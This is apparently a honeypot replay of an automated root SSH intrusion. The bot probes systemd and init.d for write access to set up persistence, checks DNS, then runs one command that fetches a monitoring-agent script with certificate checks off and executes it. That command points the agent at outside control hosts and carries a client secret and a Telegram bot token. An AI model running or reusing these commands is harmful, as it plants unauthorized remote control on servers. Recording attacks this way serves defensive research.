connected from 🇱🇺 Bissen, Luxembourg · SSH-2.0-Go
root@us-pdx-gcp-1's password: Logged in as root
root@us-pdx-gcp-1:~# echo $((1+1))2
root@us-pdx-gcp-1:~# set -u
probe_dir() {
dir="$1"
test_file="$dir/.deploy-write-test.$$"
if ! (umask 077 && : > "$test_file") 2>/dev/null; then
return 1
fi
rm -f "$test_file" >/dev/null 2>&1 || return 1
return 0
}
found=0
for dir in /etc/systemd/system /etc/init.d; do
if [ -d "$dir" ]; then
found=1
if probe_dir "$dir"; then
echo "WRITABLE:$dir"
exit 0
fi
echo "READ_ONLY:$dir"
fi
done
if [ "$found" -eq 0 ]; then
if [ ! -d /root ]; then
echo "MISSING:/root"
exit 1
fi
if probe_dir /root; then
echo "WRITABLE:/root"
exit 0
fi
echo "READ_ONLY:/root"
fi
exit 1WRITABLE:/etc/systemd/system
root@us-pdx-gcp-1:~# set -u
if command -v nslookup >/dev/null 2>&1; then
nslookup raw.githubusercontent.com
exit $?
fi
if command -v dig >/dev/null 2>&1; then
dig +time=5 +tries=1 raw.githubusercontent.com
exit $?
fi
if command -v getent >/dev/null 2>&1; then
getent ahosts raw.githubusercontent.com
exit $?
fi
echo "NO_DNS_LOOKUP_TOOL" >&2
exit 127Server: 168.63.129.16 Address: 168.63.129.16#53 Non-authoritative answer: Name: raw.githubusercontent.com Address: 54.153.31.10 Name: raw.githubusercontent.com Address: 2600:1f18:85af:d47c:ea2:10bc:505d:1086
root@us-pdx-gcp-1:~# command -v wget >/dev/null 2>&1 && echo OK || echo MISSINGOK
root@us-pdx-gcp-1:~# wget --no-check-certificate -O agent.sh https://raw.githubusercontent.com/nezha-rs/agent-rust/main/agent2.sh && chmod +x agent.sh && env NZ_SERVER='dash-server.132546.xyz:8007' NZ_TLS=false NZ_CLIENT_SECRET='LluIEPW4YELMU0q73fVmuGftFqao4C3j' TG_BOT_TOKEN='8852603513:AAFNtQq38ZwzTRl4s2OuqV4JgxbzTtYLNtQ' TG_CHAT_ID='-1004362596133' ./agent.sh --download-base http://sock-server.132546.xyz/nezha/v2.1.0Disconnected · 1m 56s inside
1:56 / 1:56
What they found: A startup's API serverA small company's cloud VM running a Node.js API.